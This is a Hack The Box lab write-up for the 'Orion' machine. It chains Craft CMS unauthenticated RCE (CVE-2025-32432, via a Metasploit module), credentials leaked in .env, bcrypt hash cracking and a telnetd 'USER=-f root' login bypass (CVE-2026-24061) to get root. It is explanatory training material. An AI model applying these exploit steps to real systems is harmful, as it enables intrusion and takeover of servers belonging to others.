HTB Write-Up: Orion
| Platform | Hack The Box |
| Difficulty | Easy |
| OS | Linux |
| Author | shreekara |
| Date | July 16, 2026 |
| Source | github.com/ShreekaraKedlaya/Hackthebox-writeups |
Table of Contents
1. Reconnaissance 2. Web Enumeration 3. Craft CMS RCE via CVE-2025-32432 4. Leaked DB Creds to Cracking Adams Hash 5. Root via Telnetd CVE-2026-24061 6. Summary
1. Reconnaissance
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://orion.htb/
Redirects to a hostname, added it:
2. Web Enumeration
http://orion.htb/ — Orion Telecom, a telecom company that apparently works with governments and big enterprises.
Ran gobuster to see what's not linked in the nav:
/assets (Status: 301) [Size: 178]
/admin (Status: 302) [Size: 0] --> /admin/login
/logout (Status: 302) [Size: 0]
/admin drops you on a login page. Footer says Craft CMS 5.6.16, right there for anyone to see.
3. Craft CMS RCE via CVE-2025-32432
Craft CMS 5.6.16 is vulnerable to CVE-2025-32432. Rough idea of the bug — the actions/assets/generate-transform endpoint deserializes an object without properly validating it first, and the CSRF check on it can be bypassed by planting a payload in a session file during the login redirect. So an unauthenticated request ends up getting code execution on the box. There's a Metasploit module for it, easier than writing the request by hand:
set rhost orion.htb
set lhost tun0
exploit
[+] The target is vulnerable. Session path leaked
[*] Meterpreter session 1 opened
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Upgraded to a real tty:
4. Leaked DB Creds to Cracking Adams Hash
Checked .env first, like always:
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
Logged into MySQL with it:
One row, admin account, adam@orion.htb, bcrypt hash.
Bcrypt cracks with hashcat mode 3200:
Cracked pretty much instantly. SSH'd in, grabbed the user flag.
5. Root via Telnetd CVE-2026-24061
Checked what's listening locally that wasn't reachable from outside:
tcp 127.0.0.1:3306 LISTEN
tcp 127.0.0.1:23 LISTEN
Port 23, telnet, localhost only. Checked the version:
2.7 is affected by CVE-2026-24061 — telnetd forwards the client's USER variable straight into /usr/bin/login without sanitizing it. Stuff -f root in there and login treats it as a flag telling it the session's already authenticated, skips the password entirely.
uid=0(root) gid=0(root) groups=0(root)
root@orion:~# cat root.txt
6. Summary
| Step | What happened |
| Recon | nmap → 22, 80 |
| Web recon | gobuster → /admin → Craft CMS 5.6.16 |
| Initial access | CVE-2025-32432 pre-auth RCE (msf) → shell as www-data |
| Credential leak | .env DB password → mysql users table → adam's bcrypt hash |
| Hash crack | hashcat mode 3200 + rockyou → cracked instantly, SSH as adam + user flag |
| Privesc | telnetd 2.7, CVE-2026-24061, USER="-f root" → root shell + root flag |
Notes to Self
Login page showing the exact CMS version in the footer is just handing over the CVE search for free.
.env with plaintext DB creds again. Same story as Nexus, secrets shouldn't be sitting in a file the web user can read.
Root DB password reused nowhere else this time, but the hash still cracked instantly off rockyou — weak user passwords are still the easy way in even when creds aren't literally reused.
"Bound to localhost" isn't a security boundary once you have any shell. If the service itself has an auth bypass, being local-only just means you need a foothold first, which we already had.
< cd ~/writeups